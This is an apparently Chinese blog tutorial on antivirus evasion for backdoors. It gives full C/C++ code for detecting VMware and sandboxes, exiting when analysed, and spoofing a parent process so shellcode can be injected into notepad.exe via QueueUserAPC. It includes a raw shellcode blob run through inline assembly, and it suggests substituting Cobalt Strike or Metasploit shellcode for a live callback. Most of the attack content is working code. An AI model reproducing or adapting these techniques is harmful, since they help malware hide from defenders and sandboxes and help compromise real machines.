免殺沙箱調試與反調試實戰
前言
最近在研究免殺這一塊的知識,說到免殺肯定就逃不過沙箱。對于沙箱的通俗理解就是一個安全的箱子,這個箱子能夠模擬出軟件執行蘇需要的環境(如模擬虛擬機環境),通過hook跳轉到自己的函數進行行為分析。所以我們的后門文件想要更好的躲避殺軟的查殺,首先肯定要做好反調試才能在對抗殺軟時后顧無憂。本文基于自己學習過程中的一些知識進行了總結,不足之處還請師傅們提出。
反虛擬機調試
我想現在一般的沙箱都不會是虛擬機環境,但如果我們在對抗的過程中被藍隊人員拿到了樣本,他想用od去調一下這個程序怎么走的,肯定也不會拿到本機里面調,如果這個exe有毒,那電腦就全完了,所以最好的選擇還是虛擬機環境,首先反調試的第一個目標就是反虛擬機調試。
根據文件路徑
查閱資料后發現如果使用虛擬機,一般的路徑都為(在沒有修改過的情況下)
C:\Program Files\VMware

那么第一種反虛擬機的方式就是通過判斷C盤目錄下是否有這個文件夾,這里用到``PathIsDirectory`這個api
BOOL PathIsDirectoryA( LPCSTR pszPath //指向包含要驗證的路徑的最大長度為 MAX_PATH 的空終止字符串的指針 );
如果路徑是有效目錄,則返回 (BOOL)FILE_ATTRIBUTE_DIRECTORY;否則返回FALSE
那么這里我們就可以進行判斷,如果存在這個路徑則向下執行代碼
if (PathIsDirectory("C:\\Program Files\\VMware"))
使用__asm把參數傳進去,并定義一個shellcode,存在這個路徑則彈窗
__asm{
lea eax, shellcode;
push eax;
ret;
}
完整代碼如下
#include "stdafx.h"
#include
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
char shellcode[] =
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";
int main(int argc, CHAR* argv[])
{
if (PathIsDirectory("C:\\Program Files\\VMware"))
{
__asm{
lea eax, shellcode;
push eax;
ret;
}
}
return 0;
}
實現效果如下所示

這里思考了一下,弄個彈窗出來過于明顯,那么也可以直接exit()退出我們寫的程序,或者直接把shellcode換成cs的直接回連上線
根據進程信息
這里在查看幾個虛擬機后發現vm的默認進程有vmtoolsd.exe和vmacthlp.exe,這里直接判斷進程是否存在即可起到反調試的效果

通過CreateToolhelp32Snapshot這個API來拍攝進程快照,再比對PROCESSENTRY32 中的szExeFile與進程名是否相同即可
實現代碼如下
#include "stdafx.h"
#include
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")
char shellcode[] =
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";
{
DWORD ret = 0;
HWND hListModules;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
return FALSE;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32); //初始化空間
BOOL pr = Process32First(hSnapshot, &pe32); //快照句柄&指向PROCESSENTRY32的指針
while(pr)
{
if (strcmp(pe32.szExeFile, "vmtoolsd.exe")== 0) // if (strcmp(pe32.szExeFile, "vmacthlp.exe")==0)
{
__asm
{
lea eax,shellcode;
jmp eax;
}
return TRUE;
}
pr = Process32Next(hSnapshot, &pe32);
}
CloseHandle(hSnapshot);
}
反沙箱調試
最簡單的反調試的措施就是檢測父進程。一般來說,我們手動點擊執行的程序的父進程都是explorer。如果一個程序的父進程不是explorer,那么我們就可以認為他是由沙箱啟動的。那么我們就直接exit退出,這樣,殺軟就無法繼續對我們進行行為分析了。
這里的思路是使用CreateToolhelp32Snapshot拍攝快照,從快照中獲取explorer.exe的id,再根據pid在進程快照中獲取其父進程的id信息,兩者進行比較,若相同則不為沙箱可以繼續運行程序,若不相同則為沙箱直接exit()退出程序
首先通過調用CreateToolhelp32Snapshot拍攝快照
HMODULE hModule = LoadLibrary(_T("Kernel32.dll"));
FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot");
然后使用匯編語句進行傳參
_asm{
push 0
push 2
call Address
mov hkz, eax
}
因為傳參的話是從右往左傳參,傳入的第一個參數就是2,在createtoolhelp32snapshot里第一個參數為2的時候含義如下

第二個參數傳入0,代表的是默認進程

遍歷結構并返回父進程
if ( Process32First( hkz, &pe ) ){
do{
if ( pe.th32ProcessID == pid ){
ParentProcessID = pe.th32ParentProcessID;
break;
}
}
while ( Process32Next( hkz, &pe ) );
}
return ParentProcessID;
然后再編寫一個函數獲取explorer.exe 的pid,代碼如下
DWORD get_explorer_processid()
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
然后再對兩個函數返回的ID進行比較,如果ID相同則不為沙箱,若不相同的話則直接退出

完整代碼如下,若相同則彈窗,若不相同則直接退出程序
// testvm.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include
#include
#include
#include
DWORD get_parent_processid(DWORD pid)
{
DWORD ParentProcessID = -1;
PROCESSENTRY32 pe;
HANDLE hkz;
HMODULE hModule = LoadLibrary(_T("Kernel32.dll"));
FARPROC Address = GetProcAddress(hModule, "CreateToolhelp32Snapshot");
if (Address == NULL) {
OutputDebugString(_T("GetProc error"));
return(-1);
}
_asm {
push 0
push 2
call Address
mov hkz, eax
}
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hkz, &pe)) {
do {
if (pe.th32ProcessID == pid) {
ParentProcessID = pe.th32ParentProcessID;
break;
}
} while (Process32Next(hkz, &pe));
}
return ParentProcessID;
}
DWORD get_explorer_processid()
{ //返回explorer.exe的pid
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main() {
DWORD explorer_id = get_explorer_processid();
DWORD parent_id = get_parent_processid(GetCurrentProcessId());
if (explorer_id == parent_id)
{ /* 判斷父進程id是否和explorer進程id相同{ */
MessageBox(0, L"Not sandbox", L"Success", 0);
}
else
{
exit(1);
}
}
實現效果
在正常情況下運行的話pid是相同的那么彈窗不為沙箱

如果是我直接在vs里面運行一下進行調試就報錯直接退出

這里再拿到od里面調試一下可以看到直接終止了

父進程偽造
在進行完反沙箱調試之后,我不禁又想,有沒有一種方法能夠偽造父進程為explorer.exe呢,那么上面這種反調試的方法就行不通了。
首先分析一下要偽造父進程肯定要先知道explorer.exe的id,再創建進程和線程
OpenProcess、CreateProcess這幾個常用api就不提了,偽造父進程最重要的一個api就是InitializeProcThreadAttributeList
InitializeProcThreadAttributeList
用于初始化指定的屬性列表以創建進程和線程
BOOL InitializeProcThreadAttributeList( LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize );
lpAttributeListThe attribute list. This parameter can be NULL to determine the buffer size required to support the specified number of attributes.
dwAttributeCountThe count of attributes to be added to the list.
dwFlagsThis parameter is reserved and must be zero.
lpSizeIf lpAttributeList is not NULL, this parameter specifies the size in bytes of the lpAttributeList buffer on input. On output, this parameter receives the size in bytes of the initialized attribute list.
If lpAttributeList is NULL, this parameter receives the required buffer size in bytes.

另外還有個重要的結構體STARTUPINFOEXA
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
StartupInfoA STARTUPINFO structure.
lpAttributeListAn attribute list. This list is created by the InitializeProcThreadAttributeList function.
首先還是要找到explorer.exe的pid
DWORD getParentProcessID()
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process))
{
do
{
//If you want to another process as parent change here
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
然后就是父進程偽造的代碼,這一塊我自己寫了一小段嘗試,但是寫著寫著就沒思路了,不知道結構該怎么用,還是太菜了,這里跟一下大佬的代碼吧
首先OpenProcess打開進程,這里調用之前寫的getParentProcessID獲取PID
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
然后ZeroMemory置空
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
使用InitializeProcThreadAttributeList 為線程進程創建初始化指定的屬性列表,注意第三個參數保留必須為0
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
HeapAlloc在堆里面分配內存,GetProcessHeap檢索調用進程默認堆的句柄
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
然后更新指令屬性
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
創建進程
CreateProcessA("C:\\Windows\\System32\otepad.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
&pInfo);
分配內存并寫入內存
//分配內存 LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); SIZE_T* lpNumberOfBytesWritten = 0; //寫入內存 BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
進行APC調用
//APC調用 QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
啟動線程
ResumeThread(pInfo.hThread);
完整代碼如下,這里shellcode可以用cs的shellcode或者msf的shellcode,生成之后就可以上線
// Parent spoofing.cpp : 此文件包含 "main" 函數。程序執行將在此處開始并結束。
//
#include
#include
#include
DWORD getParentProcessID()
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, L"explorer.exe"))
{
printf("Find explorer failed!");
break;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main()
{
unsigned char shellCode[] ="";
STARTUPINFOEXA sInfoEX;
PROCESS_INFORMATION pInfo;
SIZE_T sizeT;
//打開explorer進程獲取當前進程所有權限
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
//用0填充數組
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
//初始化指定的屬性列表,創建進程和線程
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
//設置進程屬性并從堆中分配內存
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
//更新用于進程和線程創建的屬性列表中的指定屬性
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Windows\\System32\otepad.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
&pInfo);
//分配內存
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T* lpNumberOfBytesWritten = 0;
//寫入內存
BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
//APC調用
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
//啟動線程
ResumeThread(pInfo.hThread);
CloseHandle(pInfo.hThread);
return 0;
}
這里啟動的是notepad.exe,實現效果如下
